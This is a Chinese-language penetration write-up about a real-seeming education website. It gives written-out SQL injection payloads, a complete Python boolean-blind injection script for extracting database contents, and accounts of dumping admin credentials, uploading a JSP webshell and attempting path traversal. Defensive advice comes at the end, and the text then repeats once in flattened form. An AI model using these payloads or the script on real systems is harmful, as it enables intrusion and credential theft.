记一次曲折的edu挖洞
字数 1195 2025-08-05 12:50:26

记一次曲折的edu挖洞技术分析报告

漏洞发现过程

初始SQL注入发现

  1. 在测试某教育网站搜索功能时发现SQL注入漏洞
  2. 初步测试:
    • url/search.jsp?key=12' → 返回500错误
    • url/search.jsp?key=12'--+ → 返回正常,确认存在SQL注入

注入类型确认

  1. 使用order by确定列数:

    • url/search.jsp?key=12'order by 18--+ → 正常
    • url/search.jsp?key=12'order by 19--+ → 500错误
    • 确认表有18列
  2. 联合查询尝试失败:

    • url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+ → 500错误

布尔盲注确认

  1. 基本布尔测试:

    • url/search.jsp?key=12'or 1=0--+url/search.jsp?key=12'or 1=1--+ 返回不同内容
    • 确认存在布尔盲注
  2. SQLmap自动化测试失败,需手动构造脚本

布尔盲注技术实现

脚本编写挑战

  1. 发现当or后条件为真时脚本访问会报错,为假时正常
  2. 需要特殊处理异常情况

最终脚本实现

import requests

url = "url/search.jsp"

def main():
    result = ""

    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            # content = "select database()"  #school_lvdi
            content = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
            sql = f"?key=12'or ascii(substr(({content}),{i},1))<{mid}--+"
            try:
                requests.get(url=url+sql)
                low = mid + 1
            except:
                try:
                    requests.get(url=url + sql)
                    low = mid + 1
                except:
                    high = mid

            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()

脚本特点

  1. 使用二分法提高效率
  2. 双重try-except结构增强可靠性
  3. 可灵活修改content变量获取不同数据

数据获取结果

  1. 获取数据库名:school_lvdi(长度11)
  2. 获取表信息:sys_user表包含ACCOUNTPASSWORD
  3. 成功获取后台管理员凭证

后台渗透尝试

文件上传测试

  1. 发现可上传JSP木马
  2. 上传成功但无法解析

文件包含测试

  1. 图片访问路径格式:url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png
  2. 尝试目录穿越读取源码失败:
    • url/school/Image-getImage.action?imageName=../../../../index.jsp

技术总结与经验

教育网站渗透要点

  1. 重点关注搜索功能,易存在SQL注入
  2. 黑盒测试需考虑:
    • SQL语句结构推测
    • 数据库类型判断
    • 过滤规则分析

特殊注入场景处理

  1. 当标准注入技术失效时,需观察特殊响应模式
  2. 异常处理在自动化脚本中的重要性
  3. 布尔盲注的可靠判断方法

后续渗透思路

  1. 尝试其他方式利用获取的凭证
  2. 检查其他功能点是否存在漏洞
  3. 验证文件包含漏洞的其他利用方式

防御建议

针对SQL注入

  1. 使用参数化查询
  2. 实施严格的输入过滤
  3. 错误信息处理规范化

针对文件上传

  1. 限制上传文件类型
  2. 随机化存储文件名
  3. 禁用脚本文件执行

针对文件包含

  1. 限制文件访问路径
  2. 验证文件名合法性
  3. 禁用目录遍历功能
记一次曲折的edu挖洞技术分析报告 漏洞发现过程 初始SQL注入发现 在测试某教育网站搜索功能时发现SQL注入漏洞 初步测试: url/search.jsp?key=12' → 返回500错误 url/search.jsp?key=12'--+ → 返回正常,确认存在SQL注入 注入类型确认 使用 order by 确定列数: url/search.jsp?key=12'order by 18--+ → 正常 url/search.jsp?key=12'order by 19--+ → 500错误 确认表有18列 联合查询尝试失败: url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+ → 500错误 布尔盲注确认 基本布尔测试: url/search.jsp?key=12'or 1=0--+ 与 url/search.jsp?key=12'or 1=1--+ 返回不同内容 确认存在布尔盲注 SQLmap自动化测试失败,需手动构造脚本 布尔盲注技术实现 脚本编写挑战 发现当 or 后条件为真时脚本访问会报错,为假时正常 需要特殊处理异常情况 最终脚本实现 脚本特点 使用二分法提高效率 双重try-except结构增强可靠性 可灵活修改content变量获取不同数据 数据获取结果 获取数据库名: school_lvdi (长度11) 获取表信息: sys_user 表包含 ACCOUNT 和 PASSWORD 列 成功获取后台管理员凭证 后台渗透尝试 文件上传测试 发现可上传JSP木马 上传成功但无法解析 文件包含测试 图片访问路径格式: url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png 尝试目录穿越读取源码失败: url/school/Image-getImage.action?imageName=../../../../index.jsp 技术总结与经验 教育网站渗透要点 重点关注搜索功能,易存在SQL注入 黑盒测试需考虑: SQL语句结构推测 数据库类型判断 过滤规则分析 特殊注入场景处理 当标准注入技术失效时,需观察特殊响应模式 异常处理在自动化脚本中的重要性 布尔盲注的可靠判断方法 后续渗透思路 尝试其他方式利用获取的凭证 检查其他功能点是否存在漏洞 验证文件包含漏洞的其他利用方式 防御建议 针对SQL注入 使用参数化查询 实施严格的输入过滤 错误信息处理规范化 针对文件上传 限制上传文件类型 随机化存储文件名 禁用脚本文件执行 针对文件包含 限制文件访问路径 验证文件名合法性 禁用目录遍历功能